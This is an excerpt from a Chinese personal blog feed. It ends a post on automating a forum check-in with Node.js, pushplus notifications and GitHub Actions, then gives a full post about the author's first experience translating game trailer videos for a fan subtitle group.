    • code == 0 && message = <签到获得雪币数> : 表示签到成功。推送消息显示`签到成功,获得${msg}雪币`。
    • code == -1 && message == '您今日已签到成功' : 表示已经签到过,此处为重复签到。推送消息显示’您今日已签到成功’。
    • code == -1 && message == '请先登录': 表示Cookie验证失败。打印错误并不推送消息
  3. 推送消息的功能利用pushplus提供的接口实现,因为比Server酱免费版限制少一些,当然后续可能会添加server酱等其他选项。同样是利用了Axios的库来向接口发送请求。可以参考pushplus文档中心
  4. 利用GitHub Actions,在GitHub提供的主机上用node运行js,通过crontab完成定时任务。
  5. GitHub Actions在仓库60天以上没有任何活动时会被suspended(推迟),因此利用Keepalive Workflow来使工作流按期运行。

后续

希望各位能帮我点一个star✨(理直气壮)
由于这是我第一个js脚本,程序健壮性想必不甚好,欢迎大家提出issue和pr!

  • ✇BeaCox
  • 记录第一次参与美漫翻译BeaCox
    有点小兴奋。我终于也成了一名”烤肉man”。以前看美剧、美漫的时候片头字幕组给我的感觉就是:帅爆了。试想一下,你将自己喜欢看的剧翻译成中文,你的同好看的某一集就是你翻译的——SO DAMN COOL!关于我看美漫这件事虽然我的头像是炭治郎,但其实我平时看日漫真不多,我近几年看过的日漫简直屈指可数:《鬼灭之刃》、《咒术回战》,《国王排名》甚至只看了一点点。倒是看美漫看得还比较多,只不过没多少能拿来当头像的。能拿到台面上来说的有:Rick and Morty, Gravity Falls, Love,Death&Robots。剩下的就不多说了,如果有美漫同好也可以私我。反正对我来说,看日漫是因为热血,看美漫是因为脑洞。可能喜欢看美漫是因为它能让我从固化的思维当中暂时抽离出来吧!烤肉的起因向看国外片子少的小伙伴们解释下,一般称没有翻译的外语片为生肉,有中文字幕的则叫做熟肉,而翻译过程就叫做烤肉。这件事的起因是我的一个好兄弟找到了这部动漫中文字幕组的账号,看到了他们发布的招新信息,他就加入了。后来他告诉我翻译工作频率很低、随缘,而且翻译测试很简单,我就跟着冲了。(果然easy,毕竟招新
     

记录第一次参与美漫翻译

作者 BeaCox
2022年7月6日 20:02

有点小兴奋。我终于也成了一名”烤肉man”。以前看美剧、美漫的时候片头字幕组给我的感觉就是:帅爆了。试想一下,你将自己喜欢看的剧翻译成中文,你的同好看的某一集就是你翻译的——SO DAMN COOL!

关于我看美漫这件事

虽然我的头像是炭治郎,但其实我平时看日漫真不多,我近几年看过的日漫简直屈指可数:《鬼灭之刃》、《咒术回战》,《国王排名》甚至只看了一点点。倒是看美漫看得还比较多,只不过没多少能拿来当头像的。能拿到台面上来说的有:Rick and Morty, Gravity Falls, Love,Death&Robots。剩下的就不多说了,如果有美漫同好也可以私我。反正对我来说,看日漫是因为热血,看美漫是因为脑洞。可能喜欢看美漫是因为它能让我从固化的思维当中暂时抽离出来吧!

烤肉的起因

向看国外片子少的小伙伴们解释下,一般称没有翻译的外语片为生肉,有中文字幕的则叫做熟肉,而翻译过程就叫做烤肉。这件事的起因是我的一个好兄弟找到了这部动漫中文字幕组的账号,看到了他们发布的招新信息,他就加入了。后来他告诉我翻译工作频率很低、随缘,而且翻译测试很简单,我就跟着冲了。(果然easy,毕竟招新要求是初三以上即可 XD)

烤肉的经过

严格来说,我做的并不能算烤肉的工作。这部动漫联手育碧等公司发布了三款游戏:真理之杖、完整破碎、手机毁灭者(看过动漫或者玩过游戏的小伙伴想必已经知道我说的是哪部动漫了,我翻译的是游戏演示视频,但我已经很满意了。

聊天记录

很多加群的新人都会问这样一个问题:“有ddl吗?”他们都会得到相同的有些意外的答案:“没有”。因为所有翻译全都是用爱发电、为爱发电。没有人会要求你完成多少翻译任务,没有人限定翻译时间;同样地,没有人会进群划水,也没有人领了任务迟迟不完成。另外,在烤肉的过程中,虽然有wiki可以参考,但是像这样一部梗满天飞的美漫仍旧是很难翻译的。有些梗可能十分冷门,因此翻译难度很大,但是没有谁会摆烂瞎翻。之前群里有一段关于某一缩写的含义的讨论,持续了好几天才得出结论。

一些感受

加入翻译组不仅让我结识了一群该动漫的同好,也让我的翻译能力有了大幅度的提升。毕竟在大学里我的英语全靠高中的功底强撑着,我是不太可能主动学习英语的。但是我的确喜欢翻译,这是一种将地道的外国表达转换成够味儿的中文表达的过程,是多元文化的碰撞。当然,毋宁说是这让我理解更多梗、让我有一种平日里少有的自豪感。

其实这样的翻译工作跟博客创作倒是有些相似之处:一群同好聚集在一起做喜欢的事,充满热情和活力,一起讨论问题、解决问题、分享。当然,还有为爱发电。我认识的绝大多数博主创作博客的目的都不是为了盈利,毕竟做博客的盈利或许都很难比得上维护博客所耗费的时间、精力、财力。对了,对我来说这两个圈子还有一个共同点:那就是比我现在大学生活的圈子精彩得多。

最后放一张我翻译的片段吧!

image-20220706210344922

这是我第一次烤肉,因此很多表达翻译成中文自己都感觉怪怪的,希望能继续进步吧!还想参与下半年电影字幕的翻译呢嘿嘿

❌
❌